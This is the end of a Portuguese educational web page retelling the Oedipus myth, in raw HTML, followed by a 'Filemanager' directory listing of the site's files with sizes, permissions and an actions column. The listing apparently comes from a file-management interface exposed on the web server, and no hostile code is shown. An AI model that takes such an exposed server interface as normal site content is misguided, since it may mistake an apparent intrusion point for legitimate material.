por n&atilde;o terem filhos, o criaram e, quando o <strong>Pr&iacute;ncipe
&Eacute;dipo de Corintos</strong>
soube da profecia, fugiu do pa&iacute;s (a cidade-estado de
Corintos) e seguiu-se enredo da narrativa.</p>
<p style="text-align: justify;">Ao
conhecer a narrativa do emiss&aacute;rio que disse ser
&Eacute;dipo filho adotivo de <strong>Pol&iacute;bio</strong>
e ao ouvi-lo contar a hist&oacute;ria do grampo, sendo que a
cicatriz do grampo &eacute; que deu o nome <strong>&Eacute;dipo,
</strong>que significa <strong>p&eacute;s
inchados</strong>, <strong>Jocasta</strong>
imediatamente se apercebeu da verdade e implorou para que
&Eacute;dipo deixasse o caso de lado e se esquecesse dele,
antevendo a desgra&ccedil;a que estava por vir, mas este, teimoso e
at&aacute;vico quis ir at&eacute; o fim e, por isso, <strong>Jocasta
</strong>se suicidou por
enforcamento e &Eacute;dipo, quando descobriu seu crime, foi
at&eacute; o quarto de sua <strong>m&atilde;e-esposa</strong>
e vendo-a morta, pegou seus alfinetes de ouro furando-se os olhos e
amaldi&ccedil;oando-se, pedindo &agrave; <strong>Creonte
</strong>que assumisse o governo,
cuidasse de suas pobres e desgra&ccedil;adas filhas e ainda, que <strong>Creonte</strong>
o sentenciasse de acordo com a vontade do deus <strong>Apolo</strong>.
E assim se fez. Creonte, a pedido do pr&oacute;prio <strong>&Eacute;dipo</strong>
o mandou embora em degredo.</p>
<p style="text-align: justify;">Da
mesma forma que <strong>Freud,
JUNG </strong>tamb&eacute;m
buscou inspira&ccedil;&atilde;o na mitologia grega para compor
sua
teoria da personalidade que ser&aacute; vista mais a frente.</p>
<div style="text-align: right;">
<div style="text-align: right;">
<div style="text-align: right;"><a href="javascript:window.print()"><img
 style="border: 0px solid ; width: 18px; height: 18px;" alt=""
 src="../img/print.png" align="middle"></a></div>
</div>
</div>
<div style="text-align: center;">[<a href="javascript:history.go(-1)">Voltar</a>]<br>
</div>
<span style="font-weight: bold;"></span></div>
</div>
<div id="footer"></div>
<br>
</body>
</html>

Filemanager

Name Type Size Permission Actions
000011.jpg File 69.04 KB 0644
000012.jpg File 61.16 KB 0644
0008.jpg File 155.87 KB 0644
004_JPG.jpg File 48.42 KB 0644
005_JPG.jpg File 51.95 KB 0644
006_JPG.jpg File 54.36 KB 0644
007-320x240.jpg File 44.14 KB 0644
007-320x240x100.jpg File 44.14 KB 0644
007.jpg File 86.14 KB 0644
007_JPG.jpg File 47.9 KB 0644
008_JPG.jpg File 73.12 KB 0644
009_JPG.jpg File 70.84 KB 0644
010_JPG.jpg File 51.6 KB 0644
011_JPG.jpg File 57.37 KB 0644
10__320x240_010_JPG.jpg File 15.82 KB 0644
10a.jpg File 193.68 KB 0644
10b-300x230.jpg File 21.24 KB 0644
10b.jpg File 210.56 KB 0644
10c-300x166.jpg File 16.8 KB 0644
10c.jpg File 139.07 KB 0644
11__320x240_011_JPG.jpg File 17.98 KB 0644
11a-300x232.jpg File 23.13 KB 0644
11a.jpg File 154.07 KB 0644
11b-300x237.jpg File 23.65 KB 0644
11b.jpg File 155.3 KB 0644
11c-300x239.jpg File 19.6 KB 0644
11c.jpg File 137.78 KB 0644
11d-300x215.jpg File 21.19 KB 0644
11d.jpg File 137.11 KB 0644
12-1-300.jpg File 27.74 KB 0644
12-1.jpg File 179.04 KB 0644
12-2-300.jpg File 28.1 KB 0644
12-2.jpg File 201.54 KB 0644
estilo.css File 596 B 0644
estilo5.css File 596 B 0644
hfar--aracelso_e_os_grandes_alquimistas_da_idade_media.html File 10.49 KB 0644
hfar-_egito_antigo.html File 23.89 KB 0644
hfar-a_alquimia_medieval.html File 11.93 KB 0644
hfar-a_ccivilizacao_romana.html File 6.88 KB 0644
hfar-a_civilizacao_chinesa.html File 2.65 KB 0644
hfar-a_civilizacao_egipcia.html File 3.83 KB 0644
hfar-a_civilizacao_grega.html File 8.5 KB 0644
hfar-a_civilizacao_indiana.html File 3.97 KB 0644
hfar-a_conquista_crista_do_imperio_romano.html File 5.58 KB 0644
hfar-a_construcao_de_um_novo_predio_para_o_hospital.html File 3.32 KB 0644
hfar-a_contra-reforma_catolica.html File 3.11 KB 0644
hfar-a_educacao_no_brasil.html File 18.99 KB 0644
hfar-a_escola_de_farmacia_de_ouro_preto.html File 4.38 KB 0644
hfar-a_evolucao_da_psicologia_no_mundo_contemporaneo.html File 8.55 KB 0644
hfar-a_farmacia_na_bahia.html File 3.56 KB 0644
hfar-a_farmacia_no_brasil.html File 2.98 KB 0644
hfar-a_farmacia_no_mundo_atual-introducao.html File 4 KB 0644
hfar-a_farmacia_no_mundo_atual.html File 2.42 KB 0644
hfar-a_farmacia_no_novo_mundo.html File 2.86 KB 0644
hfar-a_farmacia_no_parana.html File 2.38 KB 0644
hfar-a_farmacia_nos_primeiros_tempos_da_idade_atual.html File 5.24 KB 0644
hfar-a_irmandade_da_canta_casa_e_a_maconaria.html File 2.97 KB 0644
hfar-a_irmandade_da_santa_casa_de_firenzzi.html File 2.1 KB 0644
hfar-a_irmandade_da_santa_casa_de_misericordia_de_curytiba.html File 9.35 KB 0644
hfar-a_padroeira_da_farmacia_moderna.html File 3.83 KB 0644
hfar-a_primeira_farmacopeia.html File 2.26 KB 0644
hfar-a_psicologia_atual_e_suas_descobertas.html File 1.64 KB 0644
hfar-a_real_sociedade_dos_apotecarios_de_londres.html File 2.82 KB 0644
hfar-a_reforma_e_suas_consequencias.html File 10.99 KB 0644
hfar-a_reforma_protestante.html File 4.1 KB 0644
hfar-a_revolucao_francesa.html File 12.48 KB 0644
hfar-a_situacao_atual_da_farmacia_no_brasil.html File 10.21 KB 0644
hfar-a_sociedade_de_medicina.html File 3.24 KB 0644
hfar-adler.html File 2.6 KB 0644
hfar-alemanha.html File 5.2 KB 0644
hfar-alexander.html File 2 KB 0644
hfar-alexander_fleming.html File 5.74 KB 0644
hfar-allport.html File 2.58 KB 0644
hfar-america_do_sul.html File 5.54 KB 0644
hfar-angell.html File 2.1 KB 0644
hfar-anna_freud.html File 7.94 KB 0644
hfar-as_artes_e_as_letras_na_idade_media.html File 4.04 KB 0644
hfar-as_ciencias_alquimicas_atraves_dos_tempos.html File 9.22 KB 0644
hfar-as_cruzadas.html File 23.11 KB 0644
hfar-as_escolas_que_seguiram_ouro_preto.html File 1.64 KB 0644
hfar-as_farmacias_dos_seculos_XV_ao_XVIII.html File 2.42 KB 0644
hfar-as_grandes_invasoes.html File 11.91 KB 0644
hfar-as_grandes_navegacoes.html File 16.89 KB 0644
hfar-as_origens_da_farmacia_no_brasil.html File 17.1 KB 0644
hfar-as_universidades.html File 3.02 KB 0644
hfar-augusto_stelffeld.html File 88.34 KB 0644
hfar-bandura.html File 2.39 KB 0644
hfar-battie.html File 2.15 KB 0644
hfar-beers.html File 2.23 KB 0644
hfar-bekhterev.html File 2.43 KB 0644
hfar-berger.html File 2.34 KB 0644
hfar-berkely.html File 3.73 KB 0644
hfar-bernheim.html File 2.15 KB 0644
hfar-bleuler.html File 3.04 KB 0644
hfar-brentano.html File 3.42 KB 0644
hfar-breve_historico_dos_analgesicos.html File 9.52 KB 0644
hfar-burton.html File 1.67 KB 0644
hfar-cade.html File 2.6 KB 0644
hfar-cattell.html File 3.02 KB 0644
hfar-cerletti.html File 3.54 KB 0644
hfar-charcot.html File 2.9 KB 0644
hfar-chiarugi.html File 2.08 KB 0644
hfar-china.html File 4.75 KB 0644
hfar-colaboradores-2.html File 1.56 KB 0644
hfar-colaboradores.html File 2.48 KB 0644
hfar-comenius_e_o_metodo_educacional_moderno.html File 2.27 KB 0644
hfar-comites_sociedades_e_associacoes.html File 2.68 KB 0644
hfar-consideracoes_finais.html File 4.36 KB 0644
hfar-cullen.html File 2.18 KB 0644
hfar-darwin.html File 20.11 KB 0644
hfar-das_origem_do_homem_ate_as_primeiras_civilizacoes.html File 5.19 KB 0644
hfar-definica_gazeta_do_povo.html File 2.22 KB 0644
hfar-delay.html File 2.1 KB 0644
hfar-descartes.html File 2.99 KB 0644
hfar-dewey.html File 3.06 KB 0644
hfar-diario_da_visita_a_provincia_do_parana.html File 2.88 KB 0644
hfar-diligencias_para_a_fundacao_do_hospital_de_caridade.html File 7.16 KB 0644
hfar-ebbinghaus.html File 3.41 KB 0644
hfar-educacao_e_historia.html File 2.69 KB 0644
hfar-egas_moniz.html File 2.63 KB 0644
hfar-erikson.html File 1.99 KB 0644
hfar-espanha.html File 8.6 KB 0644
hfar-esquirol.html File 2.49 KB 0644
hfar-estados_unidos.html File 10.15 KB 0644
hfar-europa_setentrional_asia_e_africa.html File 4.29 KB 0644
hfar-falret.html File 2.45 KB 0644
hfar-fechner.html File 2.62 KB 0644
hfar-feuchtersleben.html File 2.27 KB 0644
hfar-ficha_catalografica.html File 2.62 KB 0644
hfar-franca.html File 7.87 KB 0644
hfar-francisco_de_paula_candido.html File 10.3 KB 0644
hfar-frankl.html File 3.06 KB 0644
hfar-freud.html File 30.9 KB 0644
hfar-fundacao_e_desenvolvimento_do_cristianismo.html File 6.6 KB 0644
hfar-g_e_muller.html File 2.83 KB 0644
hfar-galton.html File 2.8 KB 0644
hfar-grandes_marcos_da_epoca_contemporanea.html File 4.38 KB 0644
hfar-grandes_vultos_da_psicologia.html File 11.8 KB 0644
hfar-griesinger.html File 2.16 KB 0644
hfar-guislain.html File 1.77 KB 0644
hfar-guthrie.html File 2.07 KB 0644
hfar-hartley.html File 3.76 KB 0644
hfar-hecker.html File 2.01 KB 0644
hfar-heinroth.html File 2.36 KB 0644
hfar-hindus_os_verdadeiros_inventores_do_alfabeto.html File 6.32 KB 0644
hfar-hipocrates_de_cos_e_outros_alquimistas_gregos.html File 24.06 KB 0644
hfar-historia_da_educacao-introducao.html File 3.94 KB 0644
hfar-historia_da_educacao.html File 4 KB 0644
hfar-historia_da_psicologia-2.html File 1.98 KB 0644
hfar-historia_da_psicologia.html File 2.6 KB 0644
hfar-hoffman.html File 2.29 KB 0644
hfar-hollingworth.html File 4.13 KB 0644
hfar-homenagem_do_crf-pr_aos_farmaceuticos_em_seu_dia.html File 2.68 KB 0644
hfar-horney.html File 1.89 KB 0644
hfar-hospitais_e_asilos_psiquiatricos_pioneiros.html File 3.66 KB 0644
hfar-hug_hellmuth.html File 2.3 KB 0644
hfar-hull.html File 2.3 KB 0644
hfar-hume.html File 3.96 KB 0644
hfar-inauguracao_do_novo_hospital_de_caridade.html File 6.13 KB 0644
hfar-instituicoes_historicas.html File 1.8 KB 0644
hfar-instituicoes_medievais_feudalismo.html File 18.74 KB 0644
hfar-introducao.html File 9.54 KB 0644
hfar-italia.html File 8.28 KB 0644
hfar-jabin.html File 1.78 KB 0644
hfar-james.html File 4.41 KB 0644
hfar-janet.html File 2.37 KB 0644
hfar-jauregg.html File 2.27 KB 0644
hfar-jones.html File 1.96 KB 0644
hfar-jung.html File 5.92 KB 0644
hfar-klaesi.html File 1.99 KB 0644
hfar-klein.html File 2.23 KB 0644
hfar-koeller.html File 2.77 KB 0644
hfar-koffka.html File 5.03 KB 0644
hfar-kolch.html File 5.07 KB 0644
hfar-korsakoff.html File 2.04 KB 0644
hfar-kraepelin.html File 2.48 KB 0644
hfar-kraft_ebing.html File 2.13 KB 0644
hfar-kretschamer.html File 1.96 KB 0644
hfar-kulpe.html File 2.31 KB 0644
hfar-kurt_lewin.html File 2.97 KB 0644
hfar-langermann.html File 2.21 KB 0644
hfar-loja_candura_curitybana_curitiba_pr.html File 9.38 KB 0644
hfar-loke.html File 2.52 KB 0644
hfar-louis_lasteur.html File 11.87 KB 0644
hfar-macedonia.html File 19.27 KB 0644
hfar-magna_grecia_e_o_mundo_grego_antigo.html File 54.9 KB 0644
hfar-magnan.html File 2.14 KB 0644
hfar-mais_alguns_alquimistas_da_antiguidade_classica.html File 8.32 KB 0644
hfar-malleus_maleficarum.html File 43.59 KB 0644
hfar-manuel_joaquim_henriques_de_paiva.html File 11.65 KB 0644
hfar-maslow.html File 3.14 KB 0644
hfar-maudsley.html File 2.5 KB 0644
hfar-meduna.html File 7.9 KB 0644
hfar-mesmer.html File 2.54 KB 0644
hfar-mesopotamia.html File 24.15 KB 0644
hfar-meyer.html File 2.08 KB 0644
hfar-mill.html File 3.72 KB 0644
hfar-miller.html File 2.42 KB 0644
hfar-mira_y_lopez.html File 4.39 KB 0644
hfar-moreau.html File 2.36 KB 0644
hfar-morel.html File 2.3 KB 0644
hfar-moreno.html File 2.61 KB 0644
hfar-movimentos_psicologicos.html File 5.61 KB 0644
hfar-munsterberg.html File 3.83 KB 0644
hfar-murray.html File 2.51 KB 0644
hfar-neisser.html File 2.69 KB 0644
hfar-nelma.html File 1.58 KB 0644
hfar-o_advento_da_civilizacao.html File 3.66 KB 0644
hfar-o_brasil_na_maioridade_de_dom_pedro_II.html File 3.73 KB 0644
hfar-o_comeco_do_hospital_de_caridade.html File 2.81 KB 0644
hfar-o_curso_oficial_de_farmacia_de_1832.html File 3.92 KB 0644
hfar-o_desenvolvimento_da_ciencia_moderna.html File 4.78 KB 0644
hfar-o_desenvolvimento_da_farmacia_no_estado_do_parana.html File 2.8 KB 0644
hfar-o_edito_regio.html File 4.64 KB 0644
hfar-o_humanismo_e_alguns_grandes_humanistas.html File 3.73 KB 0644
hfar-o_iluminismo_e_a_sociedade_burguesa.html File 3.83 KB 0644
hfar-o_imperio_do_oriente.html File 10.41 KB 0644
hfar-o_juramento_dos_farmaceuticos_da_idade_media.html File 5.81 KB 0644
hfar-o_primeiro_farmacologista_experimental.html File 2.17 KB 0644
hfar-o_primeiro_historiador_de_nossa_farmacia.html File 3.69 KB 0644
hfar-o_renascimento-2.html File 2.79 KB 0644
hfar-o_renascimento.html File 15.21 KB 0644
hfar-o_suplicio_do_pobre_e_infeliz_principe_orsini.html File 10.96 KB 0644
hfar-oceania.html File 4.63 KB 0644
hfar-onde_tudo_comecou_as_origens_da_farmacia.html File 12.35 KB 0644
hfar-oracao do_farmaceutico.html File 3.91 KB 0644
hfar-origens_da_santa_casa_de_misericordia.html File 4.97 KB 0644
hfar-os_arabes.html File 24.89 KB 0644
hfar-os_barbaros_e_as_modernas_nacoes_europeias.html File 12.01 KB 0644
hfar-os_campos_e_as_areas_da_psicologia.html File 8.1 KB 0644
hfar-os_fenicios_e_a_difusao_da_cultura_oriental.html File 7.58 KB 0644
hfar-os_grandes_marcos_na_transicao_da_epoca_moderna.html File 3.16 KB 0644
hfar-os_grandes_pensadores_da_educacao.html File 5.97 KB 0644
hfar-os_grandes_vultos_da_farmacia_brasileira.html File 2.12 KB 0644
hfar-os_hebreus.html File 9.98 KB 0644
hfar-os_persas.html File 18.89 KB 0644
hfar-os_primeiros_boticarios_do_parana.html File 7.26 KB 0644
hfar-os_primeiros_boticarios_reconhecidos.html File 2.05 KB 0644
hfar-os_primordios_da_farmacia_atual.html File 21.43 KB 0644
hfar-os_romanos.html File 69.06 KB 0644
hfar-outros_paises_da_europa.html File 17.48 KB 0644
hfar-paises_nordicos.html File 7.33 KB 0644
hfar-paul_ehrlich.html File 5.11 KB 0644
hfar-pavlov.html File 6.11 KB 0644
hfar-piaget.html File 3.21 KB 0644
hfar-pinel.html File 3.08 KB 0644
hfar-plater.html File 1.96 KB 0644
hfar-portugal.html File 10.47 KB 0644
hfar-rank.html File 2.16 KB 0644
hfar-referencias_bibliograficas.html File 134.19 KB 0644
hfar-reil.html File 2.53 KB 0644
hfar-reino_unido.html File 6.77 KB 0644
hfar-reish.html File 2.81 KB 0644
hfar-richard_gordon_e_sua_assustadora_historia_da_medicina.html File 7.19 KB 0644
hfar-robert_koch.html File 12.76 KB 0644
hfar-rodolpho_albino_dias_da_silva.html File 1.48 KB 0644
hfar-rogers.html File 2.84 KB 0644
hfar-rotter.html File 2.88 KB 0644
hfar-rush.html File 2.88 KB 0644
hfar-sakel.html File 2.21 KB 0644
hfar-scott.html File 4.53 KB 0644
hfar-siddiqui.html File 3.9 KB 0644
hfar-sigaud_e_a_farmacia_brasileira.html File 5.56 KB 0644
hfar-skinner.html File 4.29 KB 0644
hfar-spencer.html File 3.8 KB 0644
hfar-stahl.html File 1.76 KB 0644
hfar-stanley_hall.html File 3.25 KB 0644
hfar-stuart_mill.html File 4.08 KB 0644
hfar-stumpf.html File 2.56 KB 0644
hfar-sydenhan.html File 2.48 KB 0644
hfar-tendencia_psicologica.html File 6.6 KB 0644
hfar-tendencia_sociologica.html File 3.38 KB 0644
hfar-tendencia_tecnologica.html File 3.16 KB 0644
hfar-the_food_and_drug_administration.html File 4.26 KB 0644
hfar-thorndike.html File 3.18 KB 0644
hfar-titchener.html File 3.8 KB 0644
hfar-tolman.html File 2.99 KB 0644
hfar-tuke.html File 2.35 KB 0644
hfar-um_milhao_de_anos_de_pre-historia.html File 18.13 KB 0644
hfar-um_poeta_farmaceutico.html File 6.72 KB 0644
hfar-von_helmholtz.html File 4.78 KB 0644
hfar-watson.html File 3.47 KB 0644
hfar-weber.html File 3.44 KB 0644
hfar-wernicke.html File 2.32 KB 0644
hfar-wertheimer.html File 2.85 KB 0644
hfar-weyer.html File 2.53 KB 0644
hfar-whytt.html File 2.32 KB 0644
hfar-witmer.html File 4.05 KB 0644
hfar-woodward.html File 2.52 KB 0644
hfar-woodworth.html File 3.69 KB 0644
hfar-wundt.html File 5.52 KB 0644
index.html File 297 B 0644
indice.html File 1.11 KB 0644
logo.jpg File 186.85 KB 0644
titulo_ilegal.html File 4.44 KB 0644
Filemanager